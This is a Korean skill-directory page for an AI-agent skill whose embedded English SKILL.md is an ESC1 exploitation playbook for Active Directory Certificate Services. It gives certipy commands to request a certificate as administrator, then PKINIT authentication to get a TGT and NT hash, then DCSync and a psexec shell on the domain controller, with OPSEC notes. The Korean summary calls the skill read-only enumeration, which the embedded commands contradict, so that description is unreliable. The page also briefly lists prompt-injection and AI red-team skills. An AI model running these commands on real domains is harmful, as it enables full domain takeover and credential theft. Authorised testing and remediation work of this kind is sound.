adcs-esc1
하는 일
이 스킬은 Microsoft 인증서 서비스의 특정 약점인 ESC1을 다룹니다. ESC1은 템플릿이 요청자가 인증서의 신원을 고르게 허용하는 경우입니다. 도메인을 점검할 권한이 있는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓보안 테스터가 승인된 Active Directory 도메인의 인증서 템플릿을 검토할 때.
- ✓에이전트가 ESC1 잘못된 설정이 있을 수 있는 템플릿을 나열해야 할 때.
- ✓보고서가 인증서 템플릿이 위험한 이유와 수정 방법을 설명해야 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“승인된 테스트 도메인에서 누군가 임의의 사용자 신원을 고를 수 있게 하는 인증서 템플릿이 있는지 확인해 주실 수 있나요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 읽기 전용 도구로 인증서 템플릿을 나열하고, 템플릿을 위험하게 만드는 설정들이 함께 있는지 확인한 뒤, 발견한 내용을 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
ADCS ESC1 Exploitation
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.
1. Enumerate templates
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.json
Decepticon ingest:
adcs_audit("/tmp/adcs.json")
2. Identify ESC1 candidates
A template is ESC1-vulnerable when ALL true:
Enrollment Rightsincludes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKUorSmart Card Logon EKUorAny PurposeEnrollee Supplies Subjectflag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager ApprovaldisabledAuthorized Signatures Requiredis 0
certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
3. Request the cert as Domain Admin
certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfx
The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
4. Authenticate as Domain Admin
PKINIT (cert → TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed
You get back:
- A TGT in
administrator.ccache(use w/export KRB5CCNAME=...) - The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)
5. Operate as Domain Admin
With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'
6. Promote
kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")
ESC variants quick-ref
| ESC | Misconfig | Sub-skill |
|---|---|---|
| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |
| ESC2 | Any Purpose EKU template | similar to ESC1 |
| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |
| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |
| ESC5 | Vulnerable PKI object ACL | edit CA settings |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |
| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |
| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |
| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |
| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |
| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |
| ESC13 | Cert template w/ OID linked to group → group membership manipulation |
OPSEC
- Certipy req generates event 4886 on the CA (cert issued)
- PKINIT generates event 4768 on DC w/ certificate fields populated
- Hard to suppress; rely on engagement being permitted to be loud here
CVSS
- Any ESC1 reachable from low-priv user:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - ESC1 reachable from anonymous (rare): 10.0
- ESC8 NTLM relay (different exploit, same outcome): 9.8
Defender remediation
# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)
# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"
자주 묻는 질문
ESC1은 무슨 뜻인가요?
요청자가 자신의 신원을 제공할 수 있게 하는 흔한 인증서 템플릿 설정의 이름입니다. 스킬은 어떤 설정이 모두 있어야 하는지 설명합니다.
스킬이 문제를 고치는 방법도 설명하나요?
스킬은 문제를 찾고 확인하는 데 집중합니다. 수정은 시스템 소유자와 그들의 변경 절차에 속합니다.
누가 이 스킬을 써야 하나요?
자기 Active Directory의 인증서 서비스를 감사해야 하는 승인된 보안 테스터와 관리자를 위한 것입니다.
상세 정보
작성자의 원본 설명
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13935
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.